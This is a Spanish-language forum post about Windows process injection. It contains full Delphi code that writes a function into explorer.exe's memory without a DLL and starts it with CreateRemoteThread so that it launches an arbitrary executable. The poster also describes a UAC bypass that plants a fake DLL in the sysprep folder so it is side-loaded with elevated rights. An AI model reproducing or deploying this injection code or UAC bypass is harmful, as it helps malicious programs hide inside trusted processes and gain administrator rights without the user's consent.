opcodes..¿y eso con que se come? (voy a verlo)
la inyeccion es un tema complicado y no le estoy dando en el clavo
velario sacame esta duda el programa de fakedoor inyeccion sin dll
ejecuta un exe cualquiera que le pasemos como explorer.exe?
por que a mi no me funciona(perdon el programa que le paso al inyector si se ejecuta, el problema es que se ejecuta sin las credenciales de explorer.exe) .
Mostrar/Ocultar
Código: Seleccionar todo
unit Unit2;
//******************************************************************************
//* UNIT: UNT_InjectNoDLL
//* AUTOR: Fakedo0r .:PD-TEAM:.
//* FECHA: 31.08.2012
//* CORREO: [email protected]
//* BLOG: Sub-Soul.blogspot.com / Sub-Soul.com
//* USO: Inyectora;
//******************************************************************************
//******************************************************************************
//DECLARACION DE LIBRERIAS / CLASES
//******************************************************************************
Interface
Uses
Windows, TLHelp32, PsAPI, ShellAPI,forms,sysutils,dialogs;
//******************************************************************************
//DECLARACION DE ESTRUCTURAS
//******************************************************************************
Type
PTINJECT = ^TINJECT;
TINJECT = Record
__ShellExecute: Function(HWND: HWND; Operation, FileName, Parameters,
Directory: PWideChar; ShowCmd: Integer): HINST; Stdcall;
cExe: Array [0 .. MAX_PATH] Of Char;
cOper: Array [0 .. MAX_PATH] Of Char;
End;
//******************************************************************************
//DECLARACION DE FUNCIONES / PROCEDIMIENTOS
//******************************************************************************
Procedure Inyectada(tInj: PTINJECT); Stdcall;
Procedure Inyectar;
Function AllocAndCopyMem(hProcess: THandle; ptBuffer: Pointer;
iBuffSize: Int64): Pointer;
//******************************************************************************
Implementation
//******************************************************************************
//<--- LA FUNCION QUE VAMOS A INYECTAR --->
//******************************************************************************
Procedure Inyectada(tInj: PTINJECT); Stdcall;
Begin
tInj.__ShellExecute(0, tInj.cOper, tInj.cExe, Nil, Nil, 1);
End;
//******************************************************************************
//<--- LA FUNCION QUE OPERA LA INYECCION --->
//******************************************************************************
Procedure Inyectar;
Var
dir:string;
uTamFun: UINT;
dwPID: DWORD;
dwExitCode: DWORD;
hThread: THandle;
hProcess: THandle;
ptStruct: Pointer;
ptEsp: Pointer;
tProcEntry: TProcessEntry32;
tInj: TINJECT;
Begin
uTamFun := 0;
dwExitCode := 0;
hProcess := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
tProcEntry.dwSize := Sizeof(tProcEntry);
If Process32First(hProcess, tProcEntry) Then
Begin
Repeat
If tProcEntry.szExeFile = 'explorer.exe' Then
Begin
dwPID := tProcEntry.th32ProcessID;
Break;
End;
Until Not Process32Next(hProcess, tProcEntry);
End;
CloseHandle(hProcess);
// obtenemos el handle del proceso
hProcess := OpenProcess(PROCESS_ALL_ACCESS, False, dwPID);
// obtenemos el puntero del api
@tInj.__ShellExecute := GetProcAddress(LoadLibrary('Shell32.dll'),
'ShellExecuteW');
// copiamos los datos en las variables
dir:=ExtractFilePath(Application.ExeName)+'ifile.exe' ;
showmessage(dir);
lstrcpy(tInj.cExe, PChar(dir));
lstrcpy(tInj.cOper, PChar('open'));
// reservamos y copiamos nuestra estructura a la memoria
ptStruct := AllocAndCopyMem(hProcess, @tInj, Sizeof(TINJECT));
// calculamos el tamaño de nuestra funcion
uTamFun := UINT(@Inyectar) - UINT(@Inyectada);
// reservamos y copiamos nuestra funcion a la memoria
ptEsp := AllocAndCopyMem(hProcess, @Inyectada, uTamFun);
// creamos el hilo remoto
hThread := CreateRemoteThread(hProcess, Nil, 0, ptEsp, ptStruct, 0,
PDWORD(Nil)^);
If hThread <> 0 Then
Begin
// esperamos hasta que se cree el hilo
WaitForSingleObject(hThread, INFINITE);
// obtenemos el estado de terminacion del hilo
GetExitCodeThread(hThread, dwExitCode);
// liberamos el handle del hilo creado
CloseHandle(hThread);
// liberamos el espacio en el proceso
VirtualFreeEx(hProcess, ptStruct, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, ptEsp, 0, MEM_RELEASE);
End;
// liberamos el handle del proceso
CloseHandle(hProcess);
End;
//******************************************************************************
//<--- RESERVA ESPACIO Y ESCRIBE EN LA MEMORIA --->
//******************************************************************************
Function AllocAndCopyMem(hProcess: THandle; ptBuffer: Pointer;
iBuffSize: Int64): Pointer;
Var
iBytesWritten:dword;// SIZE_T; es dword en delphi2010
Begin
iBytesWritten := 0;
// reservamos espacio
Result := VirtualAllocEx(hProcess, Nil, iBuffSize, MEM_COMMIT Or MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// escribimos
WriteProcessMemory(hProcess, Result, ptBuffer, iBuffSize, iBytesWritten);
End;
End.
y lo llamo asi
Código: Seleccionar todo
procedure TForm1.Button1Click(Sender: TObject);
begin
inyectar;
end;
ya termine la parte del bypass uac referido a lo que no es inyeccion
para probarlo si quieren deben ejecutarlo como admin (que vendria a hacer la inyeccion que no tiene, es solo a modo de ejemplo)
[Enlace externo eliminado para invitados]
esta en modo consola y hace lo suiguiente
tiene como recursos la dll falsa y block.exe(es el programa mio que deja sin internet el pc por 10 segundos ,y requiere uac)
al ejecutarlo (como administrador)
extrae los recursos a temp y copia la dll a sistem32\sysprep
verifica que existe la dll falsa en el directorio y ejecuta sysprep.exe que carga la dll falsa(la dll ejecuta block.exe que esta en folder temp)
sleep(1000);
y elimino la falsa dll para evitar problemas
el programa no esta empacado asi que pueden verlo por donde quieran
saludos